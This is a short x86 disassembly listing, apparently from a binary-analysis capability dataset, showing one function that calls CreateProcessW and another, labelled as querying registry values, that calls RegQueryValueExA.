mov dword [ebp - 4], ebx
test esi, esi
je 0x2a84a7b4
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a84a7b6
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a849b77
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a80187a
ret
Function at 0x402c60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
lea eax, [esp]
push eax
lea eax, [esp + 8]
push edx
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
neg eax
add esp, 8
ret 8